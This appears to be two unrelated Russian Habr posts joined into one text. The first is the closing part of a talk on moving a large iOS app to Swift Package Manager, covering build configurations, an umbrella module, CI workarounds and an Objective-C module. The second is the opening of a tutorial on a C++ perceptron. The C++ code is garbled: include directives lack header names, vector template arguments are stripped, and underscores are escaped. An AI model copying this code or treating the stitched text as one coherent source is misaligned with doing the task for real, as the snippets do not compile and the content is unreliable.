Имена продуктов необязательно совпадают с именами используемых модулей. Продукты — это наборы модулей. Поэтому в продукте явно перечисляются те модули, которые должны в него попасть.
Потом можно указывать зависимости. Они могут быть как в git-репозиториях, так и в локальных.
Также перечисляются таргеты. Можно использовать стандартную конфигурацию модулей, тогда не надо указывать пути к исходникам. А если исходники хочется положить в кастомное место, то такая опция есть.
У нас есть описание файла. И если нам неизвестно, что можно указать и мы редактируем package.swift с помощью Xcode, то всегда можем кликнуть на какую-то часть package.swift, перейти к сигнатуре методов и структур, и там все будет видно, все параметры функции. Это очень удобно, и в этом несомненный плюс SPM. А также можно прочитать документацию прямо в Xcode.
Предлагаю двинуться дальше к следующей части моего доклада — уже непосредственно к тому, что мы делали, к шагам по внедрению SPM.
Тернистый путь
--------------
До внедрения SPM наш проект выглядел совершенно обычно.
В нем были внешние зависимости, которые подключались с помощью CocoaPods. Мы собирали много таргетов: как приложения, так и статические библиотеки. И у нас было несколько конфигураций Xcode-проекта: Debug, AdHoc и AppStore. Конфигурацию AppStore мы отправляли в продакшен на пользователя, AdHoc отдавали в тестирование, а в Debug — отлаживались. Везде был немного разный код. В Debug срабатывали асёрты. В AdHoc асёрты не срабатывали, но они логировались в метрику. А в конфигурации AppStore по этим асёртам ничего не происходило. Такая система довольно удобна, можно debug-меню иметь только в AdHoc-конфигурации, закрыв его флагами условной компиляции. Так что мы обоснованно использовали несколько конфигураций.
Что мы хотели сделать с помощью SPM? Нашей задачей было научиться делить наш код на модули локально. Не подключать зависимости, а именно разбивать наш код.
Также требовалось, чтобы у нас работало три Xcode-конфигурации: AppStore, AdHoc и Debug. И у нас работал флаг TREAT\_WARNINGS\_AS\_ERRORS, который превращает все ворнинги в ошибки. Это очень удобно, уменьшает число ошибок в продакшене, и приводит к тому, что в проекте в принципе нет ворнингов.
Если нам нужно разделить приложение на модули локально, то, наверное, стоит начать с добавления модуля.
В файл-навигаторе выбираем новый Swift-пакет, создаем его.
Он добавляется в workspace.
Далее нам нужно прилинковать продукт, который появился в локальном пакете, к нашему таргету. Мы создали локальный пакет, прилинковались, можем писать туда код.
Посмотрим, сможем ли мы сделать Treat Warnings as Errors в этом таргете. Таргет — это модуль unsafeflag, и в unsafeflag можно указать опцию -warnings-as-errors. Она приводит к тому, что все ворнинги превращаются в ошибки.
Смотрим, что получается с нашим прилинкованным проектом. К сожалению, выскакивает ошибка. Xcode говорит, что нельзя подключать к таргетам Xcode зависимости, которые имеют unsafe-флаги. Плохо. Что мы с этим сделали, я расскажу чуть позже.
Кастомные конфигурации AdHoc и AppStore. Зачем нужны кастомные конфигурации? Например, чтобы использовать флаги условной компиляции и не отправлять в AppStore конфигурацию дебаг-меню ни в каком виде. Экспериментальную функциональность тоже можно закрывать флагами условной компиляции, использовать ее только в тестовых или дебаг-сборках. Здесь мы сталкиваемся с ограничением SPM: он поддерживает только две конфигурации. Их имена захардкожены в коде SPM: это Release и Debug.
```
swift package generate-xcodeproj --xcconfig-overrides adhoc.xcconfig
```
Но у консольной утилиты Swift Package есть опция generate xcodeproject, которая позволяет генерировать Xcode-проекты. И есть параметры, которые позволяют переопределять файлы конфигураций.
Что с этим можно сделать? Можно написать файлы конфигураций, сгенерировать проекты по пакетам и добавить эти пакеты в workspace.
Далее — подключить к нашему приложению продукты Xcode-проектов, а не продукты Swift Package.
```
sed -i '.bak' "s/\"Release\"/\"Adhoc\"/g" ${PACKAGE_NAME}.xcodeproj/project.pbxproj
rm ${PACKAGE_NAME}.xcodeproj/project.pbxproj.bak
```
Если нам нужно поменять имена конфигураций, чтобы они назывались именно так, как нам надо, можно это сделать с помощью консольной утилиты sed, переименовать просто вставкой, и все получится. Но если имена конфигураций не совпадают посимвольно, то все фоллбэчится в релизную конфигурацию. Возможно, в более простых кейсах удастся обойтись без переименования. Если нет кастомных конфигураций, это тоже может не понадобиться.
Мы сгенерировали проект, указали кастомный файл конфигурации, и у нас появляются флаги условной компиляции для Swift — то что надо.
Также можно добавить опции ворнингов в конфигурации. И Treat Warnings as Errors, у нас начинает работать такой проект. Можно подключить локальную зависимость с помощью Swift пакета, где будут работать все требования, которые были нам нужны. Мы умеем делить код локально. Работают кастомные имена схем, флаги условной компиляции и Treat Warnings as Errors. Все хорошо.
У нас появился первый модуль. Далее мы начали активно их писать.
Каждый модуль мы создавали в локальном пакете. В каждом пакете находился ровно один модуль, каждый пакет мы добавляли в workspace и для него генерировали Xcode-пакет.
Зависимости между модулями указывали следующим образом — путь зависимости указывали локально.
Надо сказать, что проекты мы генерировали, но не коммитили их в git-репозиторий. Это нужно для двух целей. Во-первых, чтобы уменьшить число мест, где возникают конфликты. Во-вторых, чтобы избежать искушения что-то отредактировать в Xcode-проекте, потому что если Xcode-проект отредактировать, закоммитить и это никак не поддержать в процедуре генерации проектного файла, то может возникнуть ситуация, что проект не соберется, не удастся вручную повторить все изменения, которые были внесены в Xcode-проект ранее.
```
#--type json|text
swift package describe
#Name: UIComponents
#Path: /Users/vadim-b/Projects/thorny-path/MarseilleTaxi/UIComponents
#Modules:
# Name: UIComponents
# C99name: UIComponents
# Type: library
# Module type: SwiftTarget
# Path: /thorny-path/MarseilleTaxi/UIComponents/Sources/UIComponents
# Sources: Buttons/YellowButton.swift, Labels/CostLabel.swift
#--format text|dot|json|flatlist
swift package show-dependencies
#.
#├── UIComponents
#│ └── UIHelpers
#└── UIHelpers
```
Как мы с этим поступили? Генерировали проекты на лету. Написали скрипт, который вычислял разницу между тем, что находится в сгенерированном Xcode-проекте, и тем, что находится в git-репозитории. Когда происходил pull, то сравнивалось содержимое и, если нужно, происходила перегенерация кода.
На серверах continuous integration генерация Xcode-проектов происходила безусловно. Это была одна из начальных фаз билда.
Тут нам помогли две терминальные команды Swift Package — swift package describe, которая перечисляет всё, что есть внутри пакета, все исходные файлы; и swift package show dependencies, которая показывает граф зависимостей swift-пакета. Это довольно удобные команды. Если у вас уже образовалась сложная конфигурация модулей, то можно вызвать swift package show dependencies и посмотреть, как устроен проект. Удобная и интересная штука.
Мы научились вырезать модули локально и создавать модули. Все работает, все очень хорошо.
Следующая проблема, с которой мы столкнулись, — multiple commands produce same product. Как эта проблема возникла?
По мере роста числа модулей граф зависимостей усложнялся. Однажды он превратился в граф, содержищий циклы.
Предположим, есть приложение Такси, которое зависит от UI-компонентов и от модуля адресов, и оба этих модуля зависят от общего foundation. Тогда при подходе, который я показал ранее, компиляция проекта приведет к тому, что продукт Такси foundation будет создаваться два раза.
Как мы решили эту проблему? Мы придумали сущность, которую назвали umbrella. Это статическая библиотека, которая прилинковывается к такси. Все зависимости от других библиотек, используемых в конечном таргете, мы убрали и добавили только одну библиотеку Umbrella, а уже она перечисляла все те зависимости, которые нужно использовать в такси. Соответственно, задача разрешения графа зависимостей легла на плечи Swift Package Manager.
Umbrella выглядела следующим образом:
```
// swift-tools-version:5.3
// The swift-tools-version declares the minimum version of Swift required to build this package.
import PackageDescription
let package = Package(
name: "Umbrella",
products: [
.library(name: "Umbrella", targets: ["Umbrella"]),
],
dependencies: [
.package(path: "../Address"),
.package(path: "../TaxiFoundation"),
.package(path: "../UIComponents"),
/*...*/
],
targets: [
.target(
name: "Umbrella",
dependencies: [
"Address",
"TaxiFoundation",
"UIComponents",
/*...*/
]),
]
)
```
Она также лежала в отдельном Swift-пакете, перечисляла все зависимости, которые хочет подключить, и все они подключались к модулю Umbrella. Тут мы пользовались тем, что все транзитивные зависимости у модулей видны в исходном модуле и вся эта конфигурация работает.
Мы убрали подключение всех написанных у нас библиотек и подключали ровно одну библиотеку. Ура, все работает!
Следующая проблема, с которой мы столкнулись, — ошибка Module Not Found. Почему она происходила?
Мы подключаем к нашему проекту какой-нибудь модуль, ровно один.
И дальше в compatibility header можем наблюдать ошибку Module Not Found. У нас есть compatibility header, потому что код приложения написан на двух языках — на Swift и на Objective-C.
Как эта проблема воспроизводилась? В коде приложения был объявлен некоторый протокол:
```
#import
NS\_ASSUME\_NONNULL\_BEGIN
@protocol ApplicationProtocol
@property (nonatomic, copy, readonly) NSString \*name;
@end
NS\_ASSUME\_NONNULL\_END
```
Из библиотеки подъезжал некоторый класс, который хотелось законформить этому протоколу:
```
//
import MyLibrary
extension MyLibraryModel: ApplicationProtocol {
public var name: String {
"constant_name"
}
}
```
Если протокол объявлен на языке Objective-C, а из библиотеки написан код на Swift и мы конформим этому протоколу с помощью экстеншена, то модуль прорастает в compatibility header, который мы заимпортили, и ничего не компилируется.
Почему эта проблема важна? Наверное, потому, что важна сама история возникновения проблемы. Был некоторый код, его выделили в модуль. Этот код прекрасно работал в example-приложении, все было хорошо. В основном приложении было две реализации: та, что не еще выехала (точная копия того, что уехало в модуль), и код из модуля. Заменили ровно в одном месте, где этот модуль использовался. Все работает, все подключилось.
Дальше механическим действием выпиливаем отовсюду код из основного приложения, заменяем его на код из модуля, компилируем — и не компилируется. А поскольку мы сделали много изменений сразу, не очень понятно, в каком месте это возникает. Пришлось разбираться с этой проблемой, всё откатывать, и проверять каждое место использования по одному.
Как мы ее решили? Мы просто взяли и не стали писать подобные экстеншены. И адаптировали классы из модуля протокола с помощью промежуточной сущности.
Но, как оказалось позднее, проблема связана именно с генерацией проектов по модулям из Swift-пакета — с командой swift package generate-xcodeproject. Но тогда мы этого не знали. Если подключать зависимости как package-зависимости, проблема не возникает.
Далее приложение начало падать. Причем в самый неподходящий момент — ровно перед моментом, когда нам нужно было собрать релиз. А поскольку мы релизы собираем раз в неделю, то такие моменты возникают довольно часто и нужно эти проблемы оперативно решать. У нас было два варианта: либо решить ее, либо откатиться назад, выпилить Swift Package Manager и собрать всё с помощью Xcode-таргетов.
Как же все-таки выглядел crash? Вот так:
```
swift::swift50override_conformsToProtocol(swift::TargetMetadata)
```
Что-то упало. В консоли было сообщение, что манглирование произошло неправильно:
```
failed to demangle superclass of TypedProtocolProxy from mangled name ‘\^A\M^GR\M-A\M^?y12ProtocolType\^A\M^CO\M-A\M^?QzG'
```
Манглирование — это процесс кодирования внешних имен модуля. Соответственно, эта проблема происходила где-то в момент сборки.
Какой же код вызывал эту проблему? По каким-то неведомым причинам она начала возникать в местах, где в модулях были написаны генератифицированные сущности. Хорошо, что проблема воспроизводилась в следующем варианте.
Был объявлен некоторый протокол, он имел ассоциированный тип.
```
public protocol TypedProtocol {
associatedtype ProtocolType
func foo() -> ProtocolType?
}
```
Далее была написана дефолтная реализация этого протокола с помощью класса, а не с помощью средств протоколов.
```
public class NilTypedProtocolImpl: TypedProtocol {
public func foo() -> ClassType?
}
```
Был написан наследник этой дефолтной реализации в модуле. Наследник был приватным.
```
private final class TypedProtocolProxy: NilTypedProtocolImpl {
let subject: Subject
override func foo() -> Subject.ProtocolType?
}
```
И была написана публичная структура, которая использовала этого приватного наследника дефолтной имплементации.
```
public struct TypedProtocolBox: TypedProtocol {
private let base: NilTypedProtocolImpl
public init(\_: T) where T.ProtocolType == TestType
public func foo() -> TestType?
}
```
В таком кейсе проблема легко воспроизводилась.
Проблема была где-то в сложной конфигурации с дженериками. Надо было что-то делать, собирать релиз.
И поскольку проблема связана с манглированием, стало понятно, что надо по-другому собирать приложение.
Какие у нас были варианты? Выпилить генерацию Xcode-проекта и попробовать собрать динамическую библиотеку. Это и сработало. Как следствие, у нас пропали кастомные имена схем и Treat Warnings as Errors, а сама Umbrella оказалась превращена в динамическую библиотеку.
Одновременно с этим мы упразднили все локальные пакеты. У нас было множество пакетов, в каждом лежало по одному модулю. Все это множество мы упразднили, все модули объявили внутри одного пакета. В файл-навигаторе это выглядело так.
А все модули были перечислены внутри одного пакета.
И у нас пропали зависимости. Тут мы убрали такой косяк, что Umbrella — статическая библиотека, которая во что-то компилируется, отдельный бинарник. И сказали, что Umbrella — это просто продукт, который перечисляет все те модули, которые мы хотим использовать.
То, что у нас не работают кастомные имена схем, не стало очень большой проблемой. У нас кастомные имена остались в собираемых приложениях. И проблему, что какой-то код не должен работать в продакшене, мы решали с помощью средств ООП. А по поводу того, что не работало Treat Warnings as Errors, тоже не стали запариваться. В приложении и так не было ворнингов. Когда появляется ворнинг, это сразу становится заметно. И у нас есть сервер continuous integration, на нем можно проверять, есть ли в сборке ворнинги.
Что мы делали с ресурсами? Когда мы начали внедрять Swift Package Manager, ресурсы он не поддерживал. Начали мы это делать в феврале 2020 года. Какие виды ресурсов были у нас в приложении?
```
// строки берем из Bundle.main
let string = NSLocalizedString("Hello World!", comment: "")
```
Первый вид ресурсов — строки. Мы их просто начали вычитывать из main bundle в модулях. Поскольку мы нарезали наш локальный код на модули, не выносили их ни в какие репозитории, никуда не отдавали, такой вариант нас устраивал и прекрасно работал.
Для строк мы не используем никакой кодогенерации. У нас построена автоматизированная система, которая подтягивает переводы из внутренних репозиториев, и обычно мы не ошибаемся, поэтому как оно тут написано — Localized.strings, так мы в коде и пишем. Удобно.
```
// Swift Module: SuperappModule
import UIKit
public protocol Images {
var smallWhereToIcon: UIImage? { get }
var bigWhereToIcon: UIImage? { get }
var smallEatsIcon: UIImage? { get }
var bigEatsIcon: UIImage? { get }
}
// Host Application
import UIKit
import SuperappModule
final class SuperappModuleImages: SuperappModule.Images {
var smallWhereToIcon: UIImage? { ImageRepository().widgetWhereToIcon.image }
var bigWhereToIcon: UIImage? { ImageRepository().widgetWhereToIconBig.image }
var smallEatsIcon: UIImage? { ImageRepository().widgetEatsIcon.image }
var bigEatsIcon: UIImage? { ImageRepository().widgetEatsIconBig.image }
}
```
Следующий вид ресурсов — картинки. С картинками мы делали следующее. Во-первых, их можно было просто вычитывать из main bundle так же, как мы поступали со строками. Но нас такой вариант не устраивал, поскольку мы собираем много приложений из одних и тех же исходников. Сделали следующую конструкцию. Каждый модуль явно объявлял те картинки, которые ему нужны, а уже конечное приложение настраивало эти картинки с точки зрения того, в каком виде они должны быть использованы. Тут у нас была еще кодогенерация картинок. Мы не стали протаскивать кодогенерацию в эти модули в Swift Package, оставили всё как есть. Это подошло как быстрое решение. Оно работает до сих пор и всех устраивает. Явно объявляем те зависимости из картинок, которые нужны модулю, и подключаем их.
Следующий вид ресурсов, который был в проекте на момент начала внедрения, — xib и storyboard. Мы их просто не стали использовать. Если какие-то куски вьюх или view-контроллеров были написаны в xib и storyboard, мы просто переписывали этот код на Swift и клали в модуль. Тут никаких проблем не возникало.
Следующая вещь, которую мы использовали, — подключали внешние зависимости через CocoaPods. И продолжили это делать, потому что не все зависимости, которые мы использовали, поддерживались в Swift Package Manager.
Тут мы воспользовались паттерном ООП adapter — структурным паттерном, который позволяет использовать объекты с несовместимыми интерфейсами.
У нас есть два варианта использования этого паттерна. Первый: мы создаем отдельный модуль, в котором объявляем все протоколы, которые хотим адаптировать. Например, можно для сетевого слоя определить свой протокол. Такой подход довольно удобен, потому что если есть свой протокол сетевого слоя и потом мы хотим переехать с одной сетевой библиотеки на другую, например, с Restkit на Alamofire, и если мы имеем такой промежуточный набор из протоколов, под которые нам закрыта эта сеть, то нам будет намного проще это сделать, чем если мы будем использовать сетевую зависимость напрямую.
Далее пишем реализацию этого протокола в коде нашего приложения. И всё, получается, решается средствами ООП. Но, конечно, есть overhead на разработку.
Следующий вид зависимостей — небольшие зависимости, которые не требуют написания огромной библиотеки со своими интерфейсами. Но тут мы поступали более простым способом — явно объявляли необходимые зависимости и инжектировали их в те модули, в которые нужно.
```
// Swift Module
public protocol ImagesProvider {
func image(with _: URL, completion: (UIImage?) -> Void)
}
public class ViewController {
private let imagesProvider: ImagesProvider
public init(imagesProvider: ImagesProvider) {
self.imagesProvider = imagesProvider
}
}
// Application
extension Application.ImagesProvider: Module.ImagesProvider {
}
```
И если сигнатура зависимости, которую мы использовали, объявили в модуле, совпадает с сигнатурой зависимости, которая подъезжает из CocoaPods, то реализовать адаптацию не составляет труда. Можно просто написать экстеншен, который не будет иметь никакой реализации, и все заработает.
Но с зависимостями мы еще через CocoaPods разобрались. Они были, мы не могли от них отказаться. Но что с зависимостями, которые можно подключить через Swift Package Manager? Надо пробовать подключить.
Мы просто указываем эти зависимости в нашей Umbrella, и все работает.
Umbrella у нас подключена уже к основному приложению.
Я в примерах показал Alamofire. Его подключить таким образом через Swift Package Manager не составляет труда. Но в Яндекс Go мы не используем Alamofire, а подключали нашу внутреннюю зависимость — библиотеку EatsKit, которая нужна для работы Еды и Лавки внутри приложения. Тут мы столкнулись с проблемами.
Первый ряд проблем был связан со сборками на серверах continuous integration, с тем, что на этих серверах DerivedData была шаренная. То есть казалось, что она не шаренная. В настройках TeamCity все чекаутилось в специальную папку сборки.
В fastlane, где мы собирали наш проект, тоже была указана опция «Использовать локальную DerivedData» и путь к этой DerivedData.
Но оказалось, что зависимости, которые подключаются через Swift Package Manager, резолвятся не просто в DerivedData, а в специальный путь clonedSourcePackagesDirPath:
```
#!/bin/sh
xcrun xcodebuild \
-workspace DependenciesFromSPM.xcworkspace \
-scheme DependenciesFromSPM \
-derivedDataPath ./LocalDerivedData \
-clonedSourcePackagesDirPath ./LocalClonedSources
```
Эту опцию можно указать как в Xcode-билде, так и в fastlane. Проблема возникла в том, что в этой DerivedData скопилась непонятные сущности, половина агентов отвалилась, непонятно почему не собиралась. Проблему нашли случайно. Попросили админов разобраться. Начали чистить все кеши. Проверяли уже, казалось, совсем нереальный сценарий — решили удалить DerivedData. Удалили, и все заработало, хотя DerivedData была локальная. И потом уже вскрылась эта опция — что можно указать путь, куда будут зарезолвлены пакеты.
Следующая проблема тоже возникла на серверах continuous integration. С Alamofire такой проблемы не возникнет — это публичный репозиторий, все работает. Но конкретно в нашем случае зависимость в какой-то момент переехала из внутреннего GitHub-репозитория в Bitbucket-репозиторий. Он был закрытым и требовал авторизации по SSH. Соответственно, с авторизацией возникла проблема.
Почему-то при запуске билда из терминала credential из этого терминала с доступами к репозиториям они не прорастали в команду Xcode .build.
```
#!/bin/sh
cd ./SwiftModules
xcrun swift package resolve
cd ..
xcrun xcodebuild \
-workspace DependenciesFromSPM.xcworkspace \
-scheme DependenciesFromSPM \
-derivedDataPath ./LocalDerivedData \
-clonedSourcePackagesDirPath ./SwiftModules/.build
```
Тут нам снова помогла эта опция — clonedSourcePackagesDirPath. Мы разрезолвили пакеты с помощью локальной команды swift package resolve, они зарезолвились в скрытую папку Swift-модуля — .build, и мы указали Xcode-билду путь к этой папке. Workaround сработал — все стало ОК. Но есть подозрение, что проблема связана только с Xcode версии 11, потому что мы переподключили эти все зависимости, проверили, и на Xcode версии 12 проблемы не возникло. Похожая ситуация возникла при ошибке со сборкой на CI с Xcode 12, но ее удалось решить: мы прописали в файл hosts публичные ключи GitHub-репозиториев. Кажется, тут все стало немножко лучше.
Workaround можно было не изобретать. Можно было просто зайти на каждый агент, настроить аккаунты доступа к репозиториям внутри Xcode, и все это бы заработало. Но входить на агент и настраивать — не очень удобная и не очень масштабируемая опция. Workaround подходит чуть лучше.
В workaround, который я показал, есть проблема: он порождает второй файл swift package.resolved. Первый файл swift package.resolved находится внутри workspace, а второй появляется в папке swift-модуля:
```
${WorkspaceName}.xcworkspace/swiftpm/Package.resolved
${PackageDir}/Package.resolved
```
Важно, чтобы эти два файла были идентичны. Этого можно достичь, например, сделав один из этих файлов симлинком. Кажется, это сработает.
С другой стороны, возможно, что такая штука — это не какой-то сделанный не до конца хак, workaround, а правильный путь работы со Swift Package Manager, пока в Xcode нет опции обновить конкретную зависимость.
Есть в командной тулзе Swift Package опция swift package update --dry-run:
```
swift package update --dry-run
# Updating https://github.com/Alamofire/Alamofire # 1 dependency has changed:
# ~ Alamofire 5.3.0 -> Alamofire 5.4.0
swift package update Alamofire
```
Она позволяет увидеть зависимости, которые можно обновить. Если в вашем пакете много зависимостей, не стоит обновлять все сразу и отдавать это в тестирование — наверняка где-то что-то отломается. Лучше двигаться небольшими шагами и обновлять зависимости по одной. А чтобы видеть, что зависимости необходимо обновить, периодически стоит запускать команду swift package --dry-run. И есть команда, которая позволяет обновлять зависимости по одной.
С зависимостями разобрались, что-то мы умеем подключать.
Что еще интересного мы сделали с помощью Swift Package Manager в нашем проекте? Модуль на Objective-C.
Чтобы сделать модуль на Objective-C, надо просто создать такой же модуль, как со Swift, но, единственное, нужно указать публичные хедеры. Их можно указать двумя способами — положить их в папку include, либо указать к ним пути уже в Swift Package. Но мы выбрали путь через папку include, поскольку он, кажется, немного проще.
Когда мы собрали такой модуль, его можно подключить как в Swift, так и в Objective-C, никаких проблем не возникает.
```
#!/bin/sh
set -e
readonly DIR=`dirname $0`
readonly PROJECT_ROOT=${DIR}
readonly MODULES_DIR=SwiftModules
readonly MODULE_NAME=$1
readonly MODULE_SOURCES_PATH=${MODULES_DIR}/Sources/${MODULE_NAME}
cd ${MODULE_SOURCES_PATH}/include
rm -f ../include/*
find .. -name '*.h' | while read header; do
ln -s "${header}"
done
```
Чтобы собирать папку include, мы написали небольшой скрипт, который собирает все хедеры, которые есть в модуле, строя для них набор симлинков. Нам этот путь подошел, поскольку мы в Objective-C модуле отделили легаси DTO-слоя. Приложение довольно большое и старое, много DTO, много ручек, которые мы используем. Старые ручки все еще используются, но на Swift не переписываются. И даже туда не всегда необходимо вносить изменения. Чаще всего они просто работают, этот код таким кусочком как был, так и заехал в модуль. В моменте это нам позволило ускорить сборку на серверах continuous integration на 10%.
Локально сборка также ускорилась — с нуля, наверное, также на 10%, если сборка холодная. Но поскольку работает инкрементальная сборка, то в локальных сборках этот прирост не так уж заметен.
Я уже подхожу к концу нашего тернистого пути. Расскажу об опции в CocoaPods, которую мы используем. Она также связана с кастомными конфигурациями, а в Swift Package Manager мы такую штуку еще не сумели сделать.
```
pod 'FLEX', :configurations => ['Debug', 'AdHoc']
```
CocoaPods позволяет подключить зависимость к некоторым конфигурациям. Можно подключить тулзу для дебага FLEX только к дебажным и AdHoc-конфигурациям. А в прод этот бэкдор не отправлять. Но с CocoaPods все подключается благодаря тому, что это происходит с помощью специальной магии, которую он использует во флагах. А в SPM, возможно, тоже можно придумать нечто подобное, но пока такой необходимости у нас не возникало.
Итоги
-----
Что нам дал Swift Package Manager, как изменился проект?
Пока мы занимались модуляризацией, нарезкой нашего локального кода на модули, приложение превратилось из Такси в Go. Мы по-прежнему собираем много таргетов из одних и тех же исходников. У нас по-прежнему есть код, который сделан с помощью статических Xcode-библиотек. Мы по-прежнему тащим зависимости из CocoaPods.
Но мы активно пилим модули, модуляризуем наше приложение с помощью Swift Package Manager, и уже значительная часть функциональности заехала в модули. То есть SPM решает нашу основную задачу — нарезку локального кода на модули.
Также мы научились с помощью SPM как пилить Swift-код на модули, так и выносить в них код на Objective-C. Поэтому я надеюсь, что в скором будущем весь код у нас окажется модуляризован.
Из плюсов модуляризации, которые явно заметны: в каких-то моментах сборка действительно ускорилась, стало проще и быстрее разрабатывать, появились example-приложения для существенных кусков приложения, для UI-компонентов, истории поездок и всего такого. Это очень круто.
Общие итоги, которые я бы хотел подвести для всех:
1. Я думаю, что Swift Package Manager — достаточно взрослая технология, и наш опыт использования это доказывает и показывает.
2. SPM — развивающаяся технология. Если еще в феврале 2020 года нельзя было подключить в свой проект ресурсы, полноценные библиотеки, то в сентябре вышел очередной релиз SPM вместе со Swift 5.3 и возможность их подключения появилась.
3. SPM по-прежнему имеет ограничения, связанные именно с конфигурациями, с невозможностью использования unsafe-флагов. Если для вас это критично, я бы не рекомендовал использовать SPM. Но эти ограничения можно обойти. И риски, которые несет с собой SPM, на мой взгляд, не настолько велики, чтобы вообще его не рассматривать.
4. SPM нужно попробовать. Если вы еще ни разу не смотрели в его сторону, не заглядывали, не пробовали, то все-таки нужно его пощупать, посмотреть.
Для этого я собрал [набор примеров](https://github.com/Vadim-B52/thorny-path) в своем GitHub-репозитории, о котором я рассказывал. Можно покрутить и потом пообсуждать. | https://habr.com/ru/post/559938/ | null | ru | null |
# Изобретаем велосипед или пишем персептрон на С++. Часть 1 и 2
Изобретаем велосипед или пишем персептрон на C++. Часть 1
=========================================================
Напишем простую библиотеку для реализации персептрона на C++
### Вступление
Всем привет, в этом посте я хочу поделиться с вами моим первым опытом в написании нейросетей. Статей о реализации нейросетей(НС в дальнейшем), достаточно много в интернете, но использовать чужие алгоритмы без понимания сути их работы я не хочу, поэтому решил создавать собственный код с нуля.
В этой части я опишу основные моменты мат. части, которые нам пригодятся. Вся теория взята с разных сайтов, в основном с википедии.
Ссылка на 3-ю часть с алгоритмом обучения: [habr.com/ru/post/514626](https://habr.com/ru/post/514626/)
Итак, поехали.
### Немного теории
Давайте договоримся, что я не претендую на звание «самый лучший алгоритм машинного обучения», я просто показываю свою реализацию и свои идеи. Также я всегда открыт для конструктивной критики и советов по коду, это важно, для этого и существует сообщество.
Изучив виды нейросетей на википедии, я выбрал персептрон для первого проекта благодаря простоте работы и относительной простоте реализации. Для начала вспомним как схематично выглядит персептрон
Как мы видим каждый нейрон слоя связан с каждым нейроном предыдущего слоя. А каждый узел этой сети будет называться нейроном.
Теперь рассмотрим работу каждого узла отдельно. Данная картинка как нельзя лучше передаёт смысл каждого нейрона:
Допустим, что в наш нейрон приходят три сигнала(х1, х2, х3), тогда для вычисления значения u нейрон складывает произведения входных сигналов на веса входов (w1, w2, w3), или проще говоря:
u = x1\*w1 + x2\*w2 + x3\*w3
В более общем виде выражение записывается так:
Теперь поговорим об активационной функции нейрона. На рисунке она указана как y(u), где u – уже известная нам величина. Эта функция нужна для вычисления значения, которое будет на выходе нейрона и пойдёт на входы других нейронов.
Активационной функцией может быть любая функция, имеющая предел, т.е значении, к которому она стремится, но никогда не достигнет. Таких функций огромное множество, но мы воспользуемся наиболее популярной – сигмоидой(кстати, изображена на рисунке). Вот так она выглядит в контексте наших переменных:
Данное чудо ограничено диапазоном значений (0; 1), поэтому отлично нам подходит. А величина y(u) будет называться выходным значением нейрона.
Фух, ну вроде с минимальной мат. частью разобрались, теперь приступим к практике.
На листе бумаги всё выглядит просто замечательно, но когда дело дошло до написания кода, то возник вопрос с хранением значений нейронов.
При использовании НС по назначению проблема не серьёзная, можно было бы легко запоминать промежуточные вычисления и шагать буквально по слоям сети. Однако во время обучения НС нам необходимо запоминать абсолютно всё, что происходит в сети, в том числе и ошибку каждого нейрона (об обучении и его тонкостях расскажу в следующей части статьи).
Итак, для решения проблемы хранения данных предлагаю использовать 2 трёхмерных массива: один для хранения нужных значений нейрона, второй для хранения значений весов каждой связи.
Объясню идею на картинках:
Пусть у нас есть 8 нейронов в слое (с n1 по n8), а мы хотим хранить значения той самой суммы произведений u, вычисленного из сигмоиды значения «y(u)» и ошибки «err», тогда воспользуемся двумерным массивом (матрицей). Смысл поля «err» поясню в следующей части.
Но такой вариант подходит лишь для одного слоя, а слоёв в сети немногим больше, чем один.
Тогда на помощь к нам приходит третье измерение массива, а номер матрицы отдельного слоя и будет номером этого слоя.
Здесь стоит сделать отступление. Можно круто оптимизировать код, объявив одномерный массив вместо трёхмерного массива, для этого нужно написать функцию, которая будет работать с памятью. Но тут мы пишем простой код, поэтому оптимизацию не будем сильно затрагивать в этой части статьи.
Ну вроде принципы хранения нужных значений в нейронах получилось объяснить. Теперь разберёмся с хранением весов связей между нейронами.
Возьмём для примера вот такую сеть:
.
Уже зная, как структурировать в памяти нейроны, сделаем подобную таблицу для весов:
Её структура совсем не сложная: например, значение веса между нейроном N1 и нейроном n1 содержится в ячейке w1-1, аналогично и с другими весами. Но опять же, такая матрица пригодна для хранения весов только между двумя первыми слоями, но ведь в сети есть ещё веса между вторым и третьим слоями. Воспользуемся уже знакомым приёмом – добавим новое измерение в массив, но с оговоркой: пускай названия строчек отображают слой нейронов слева относительно «пучка» весов, а слой нейронов справа вписывается в названия столбцов.
Тогда получим для второго «пучка» весов такую таблицу:
А всё пространство весов теперь будет выглядеть так:
При таком хранении весов и вычислений нейронов возникает проблема высокого расхода памяти «впустую», т.к. количество нейронов на слоях может быть абсолютно любым, но массивы, которые мы делаем «имеют форму» параллелепипеда, из-за чего возникает большое количество пустых ячеек, но под которые резервируется память. Именно поэтому я не считаю свой алгоритм наиболее оптимальным и хотелось бы увидеть ваши предложения по оптимизации в комментариях)).
### И в заключение первой части
А на этом первая часть заканчивается, во второй части разберём программную реализацию.
Изобретаем велосипед или пишем персептрон на C++. Часть 2
=========================================================
В этой части программно реализуем идеи, описанные в прошлый раз.
### Вступление
В предыдущей части я представил на ваш суд несколько идей, которые позволят реализовать персептрон. На этот раз мы будем писать код.
Итак, поехали!
### Оформление header — файла
Дабы наш код можно было использовать в различных проектах, оформим его как библиотеку. Для этого создадим header — файл (пусть называется «neuro.h»). Внутри него опишем класс с основными методами:
```
class NeuralNet {
public:
NeuralNet(uint8_t L, uint16_t *n);
void Do_it(uint16_t size, double *data);
void getResult(uint16_t size, double* data);
void learnBackpropagation(double* data, double* ans, double acs, double k);
private:
vector>> neurons;
vector>> weights;
uint8\_t numLayers;
vector neuronsInLayers;
double Func(double in);
double Func\_p(double in);
uint32\_t MaxEl(uint16\_t size, uint16\_t \*arr);
void CreateNeurons(uint8\_t L, uint16\_t \*n);
void CreateWeights(uint8\_t L, uint16\_t \*n);
};
```
Работать будем с векторами, поэтому впишем несколько строк для их работы, но и про стандартную обвязку header'а не забудем). Вставим в начало файла следующие строки:
```
//строки ниже нужны, чтобы сказать предпроцессору о компиляции этого файла, если ранее он не был упомянут в коде
#ifndef NEURO_H
#define NEURO_H
#include //файл для работы с векторами
#include //библиотека для работы с математикой, нужна для объявления активационной функции
#include //эта библиотека позволит использовать более оптимизированные типы данных, что немного сократит объём выделяемой памяти для нашего не самого оптимизированного кода.
```
Разберёмся с публичными функциями класса:
```
NeuralNet(uint8_t L, uint16_t *n);
```
Функция представляет собой просто конструктор класса, в который мы будем передавать данные о НС, а именно кол-во слоёв и количество нейронов в каждом из этих слоёв в виде массива.
```
void Do_it(uint16_t size, double *data);
```
